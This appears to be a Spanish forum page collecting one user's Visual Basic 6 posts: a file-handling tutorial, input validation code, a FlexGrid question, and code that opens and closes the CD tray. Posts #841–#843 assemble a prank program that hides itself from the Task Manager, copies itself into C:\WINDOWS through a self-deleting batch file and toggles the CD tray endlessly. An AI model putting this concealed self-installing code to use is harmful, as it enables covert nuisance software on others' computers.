Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - cassiani

#841
 Bien, has lo siguiente: ubicate en la rutina 'CrearBat', luego, antes de la linea 'Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat' , vas a agregar esta otra linea:

Código (vb) [Seleccionar]
'Se ejecuta el archivo copiado
Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"


   Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:

Código (vb) [Seleccionar]

'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
    'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function


   Y modificaras tu procedimiento 'Form_Load' por este otro:

Código (vb) [Seleccionar]
Private Sub Form_Load()
    Me.Visible = False 'Formulario invisible
    App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas
    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
       'Si no encuentra el archivo entra aquí
       CrearBat 'Creamos el bat
       Shell "Copiar.bat" 'Y lo ejecutamos
       End
    Else
        'Si lo encuentra entra aquí
        Timer1.Enabled = True
        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
    End If
End Sub


   Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.

  Creo que es más de lo que querias hacer,  :rolleyes:

#842
 Copy (origen) (destino)

Puedes hacerlo usando un bat, observa esto:

Código (vb) [Seleccionar]
Option Explicit

Private Sub CrearBat()
Dim Canal As Integer
    Canal = FreeFile 'Buscamos un canal libre
    Open "Copiar.bat" For Output As #Canal 'creamos un bat
        Print #Canal, "@echo off"
        Print #Canal, "CD " & App.Path 'cambio de directorio
        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
        & App.EXEName & ".exe /y"
        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
    Close #Canal
End Sub

Private Sub Form_Load()
    CrearBat
    Shell "Copiar.bat"
    End
End Sub


Pruebalo y dime si es lo que quieres.
#843
  ¡Hey! Puedes hacer esto, modifica el code del form que te di, por este otro:

Código (vb) [Seleccionar]
Option Explicit

Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean

Private Sub Form_Load()
   Timer1.Enabled = True
   Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
End Sub

Private Sub Timer1_Timer()
    If Abrir = False Then
        'Cierra CD-ROOM
        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
        Abrir = True
    ElseIf Abrir = True Then
        'Abre cd-room
        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
        Abrir = False
    End If
End Sub


   Debes tener cuidado con lo que haces, puedes hacerle daño a alguien... je,je,  :P
#844
  Hola, Uhm... tiempo si entrar en el foro.
 
  Yo prefiero usar:
  me.visible = False 'Para ocultar una ventana
  me.visible = True 'Para  volver a mostarla

  Aqui te dejo un código que utilice hace tiempo, no recuerdo de quien es o de donde lo saque, lo tenia guardado. Sirve para abrir y cerrar el cd-room.

En el módulo:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long


En el form:


Private Sub CmdAbrirCD_Click()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End Sub

Private Sub CmdCerrarCd_Click()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
End Sub


   A mi me funciona bien, espero que a ti tambien... ::)
#845
Programación Visual Basic / Re: Archivos
28 Julio 2007, 19:25 PM
Hola PoNcHo!!, esto es una pequeña parte de lo que a manejo de archivos se refiere, esperemos que te pueda servir, sino entiendes algo vuelve a preguntar...

El Basic maneja tres tipos de archivos: secuenciales, aleatorios y binarios.

Cada uno tiene una serie de características en la forma de acceder a los datos.

El más básico y también el más empleado, es el secuencial; "Me encargare de explicarte este tipo de ficheros, los otros os los dejo de tarea."

Con este tipo de fichero, los datos se almacenan y recuperan de forma secuencial, es decir: un dato después de otro...
El inconveniente que tiene esta forma de almacenar los datos, es que para recuperar lo que esté en la décima posición, tenemos que leer los nueve anteriores. (Por eso el nombre de secuencial)...

Necesitarais funciones para poder acceder a la información de los ficheros.

La primera función a usar será:

Freefile: Esta función devuelve un número entero, el cual se almacenará en una variable y así podremos usarlo para el manejo de los datos almacenados.

Se usa el freefile para encontrar un número de canal libre y así evitar la posibilidad de usar una línea que este en uso.

Ejemplo:
NumFic = Freefile

Una vez que conozcamos un canal por el que poder acceder, tendremos que abrirlo:
Open "Prueba.txt" For Output As NumFic
Con esta línea, abrimos el fichero Prueba.txt de forma secuencial para poder escribir en él.
Una vez que tenemos una "via" de comunicación, podremos escribir información usando la instrucción Print... (Un poco maquilada)

Print #NumFic, "Lo que sea"

#NumFic  es el número de fichero (o canal) por el que accedemos al fichero abierto y después de ese número, usamos una coma y a continuación lo que queremos guardar en el fichero, podes usar cadena de caracteres entre comillas (""), una variable o hasta una constante.

Cuando hayamos acabado de guardar cosas, tendremos que cerrar el fichero que hemos abierto, para poder liberar ese canal abierto y así poder usarlo en otra ocasión, esto se consigue con el comando Close:

Ejemplo:
Close NumFic

Es importante esto de cerrar el fichero abierto, ya que en ese momento es cuando el Basic guarda la información que aún tiene "temporalmente" almacenada en una memoria intermedia (buffer) que usa para que el acceso a datos sea, al menos en teoría, más rápido.
Ahora vamos a ver cómo se usa al completo la orden OPEN y sus posibilidades de uso.

Open RutaAcceso [For Modo] [Access acceso] [tipo de bloqueo] As [ # ] Númerofichero [Len=longitudregistro]

Lo que está entre corchetes son parámetros opcionales.
Fíjate en el detalle que FOR Modo está entre corchetes, esto significa que si no se especifica el modo, el Visual Basic entiende que quieres acceder de forma aleatoria.
RutaAcceso: es el path (ruta del archivo) completo, o a medias, de dónde queremos que se almacene el fichero o el lugar en el que está almacenado.
Por ejemplo: C:\Datos\Un directorio\Prueba.txt
o simplemente Prueba.txt (esto le indicará que estará en el directorio actual)

Modo: existen 5 modos de acceder a los ficheros
•   Output, para ficheros de salida, es decir para guardar los datos.
         Si el fichero existe, lo borrará (sobrescribirá) y si no existe, lo creará.
•   Input, para leer los datos de un fichero ya existente.
•   Append, como el Output, pero añadiendo la información al final del fichero, si este ya existe (sin tocar el contenido de los mismos).
•   Random, para acceso aleatorio.
•   Binary, para acceso binario.

As NúmeroFichero: aquí se indica el número de fichero (canal) por el que accederemos a la información. El signo de número (#) es opcional. Y NúmeroFichero, puede ser una variable o una constante.
Vamos a dejar tanta teoría y viajemos a la práctica:

'---------------------------------------------------------------------------------------------------------

Código (vb) [Seleccionar]
Option Explicit

Private Sub CmdCrearFichero_Click() 'CommandButton
'Empezamos Declarando variables
Dim NombreUsuario As String, Cadena As String
Dim EdadUsuario As Integer, NumFic As Integer
   
    NombreUsuario = "Yohanna Crespo"
    EdadUsuario = 20
    Cadena = NombreUsuario & "-" & EdadUsuario
    'Pude haber guardado los valores directamente en la variable cadena _
    ahorrándome espacio en memoria y código, pero la idea es mostrarte otras opciones.
   
    NumFic = FreeFile 'Buscamos un canal libre.

    'Abrimos el archivo para crearlo o grabar en él (usando Append en este caso)
    Open "C:\Prueba.txt" For Append As NumFic
        Print #NumFic, Cadena 'Guardamos el valor de Cadena en el fichero.
    Close NumFic 'Cerramos el fichero y liberamos el canal.
   
    'Simplemente guardamos en el archivo 'prueba.txt' ubicado en c, _
    el nombre y edad del usuario.
End Sub

Private Sub CmdAbrirFichero_Click() 'CommandButton
'Empezamos Declarando variables
Dim Cadena As String, CanalLibre As Integer
   
    CanalLibre = FreeFile 'Buscamos un canal libre
   
    'Abrimos el archivo para lectura "Input"
    Open "C:\Prueba.txt" For Input As CanalLibre
        List1.Clear 'Limpiamos el ListBox
        While Not EOF(CanalLibre) 'Mientras el archivo no llegue al final...
            Input #CanalLibre, Cadena
            List1.AddItem Cadena
        Wend
    Close CanalLibre
   
   'Simplemente abrimos el archivo y pasamos su contenido a un ListBox para mostrarlo
   
    'Si intentáis abrir un archivo inexistente, te mostrara un error.
End Sub


'---------------------------------------------------------------------------------------------------------

EOF (númeroarchivo): Devuelve un tipo Integer que contiene un valor tipo Boolean de True al llegar al final del archivo. (Simplemente indica cuando el archivo llega al final).

La teoría fue extraída del Curso Básico de Programación en Visual Basic del guille y la MSDN.

Te recomiendo que copies y pegues este código en un formulario y luego lo analices desde allí, así podras entenderlo mejor.

Aunque falta mucha tela por cortar en esto de los archivos, hay os dejo esto para que empezáis a trabajar con ficheros. ¿Difícil? ...
#846
 Hola maxtextla, tenia listo algo desde hace rato, pero cuando entre nuevamente en el foro, me habías cambiado la seña y no tengo libre acceso a la red. Espero aun poder ayudarte como ya lo han hecho conmigo en otras ocasiones.

Este es, prácticamente el código que tenia de principio, pero modificado para que haga todo lo que pedisteis.

Te aconsejo usar el "option explicit", "comentarios en los códigos" y "trabajar con tabulaciones" de esta manera es mas fácil solucionar problemas.

Suponiendo que tu textbox se llama text1, este seria el algoritmo:



Option Explicit

Private Sub Form_Load()
    'Configuramos el TextBox para que acepte máximo 2 caracteres.
    Text1.MaxLength = 2
    'Tambien puedes hacerlo desde las propiedades del TextBox directamente.
End Sub

'Con este procedimiento evitamos el copy & paste
Private Sub Text1_Change()
'Control de errores por si se pega otra cosa que no sean números
On Error Resume Next
    'Lo no permitido ¡pa' fuera!
    If Val(Text1.Text) >= 60 Or Text1.Text < 0 Then Text1.Text = ""
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
'Este procedimiento permite que se incerten, solo las teclas deseadas usando la Ascii.
Dim Tecla As String
    Tecla = Chr(KeyAscii)
    If KeyAscii <> 8 Then 'Verifica si se presionó las teclas de direcciones.
        Select Case Tecla
            'Controlamos, cuando se permitirá insertar números del 6 al 9 y cuando no.
            Case "6" To "9": If Text1.Text = "" Then KeyAscii = 0
            'Metemos a números del 0 al 5 en paquete de permitidos permanentes.
            Case "0" To "5"
            'Si Tecla obtiene un valor diferente a números del 0 al 9 ó cualquier otro caracter,  lo borra.
            Case Else: KeyAscii = 0
        End Select
    End If
End Sub


Espero haber sido de ayuda, a pesar de la tardanza.  :P
#847
Programación Visual Basic / FlexGrid
1 Junio 2007, 02:21 AM
Hola foro, necesito su ayuda para un proyecto que estoy elaborando, tengo un problemta que aun no se como resolver y es el siguiente:

------------------------------------------------------------------
|Nombre y Apellido|   Dia de la Semana  |Total de Horas|
------------------------------------------------------------------
|                          |Lun|Mar|Mie|Jue|Vie |                     |
|---------------------|----|----|----|----|----|-----------------|
|                          |     |     |     |     |     |                      |
|----------------------------------------------------------------|

Necesito poder usar un encabezado de columna sobre otro
como se observa en el dibujito: el encabezado Dia de la Semana sobre los dias correspondientes, Lun,Ma,Mie...
Si me pueden ayudar se los agradeceria de todo corazon,
gracias... :p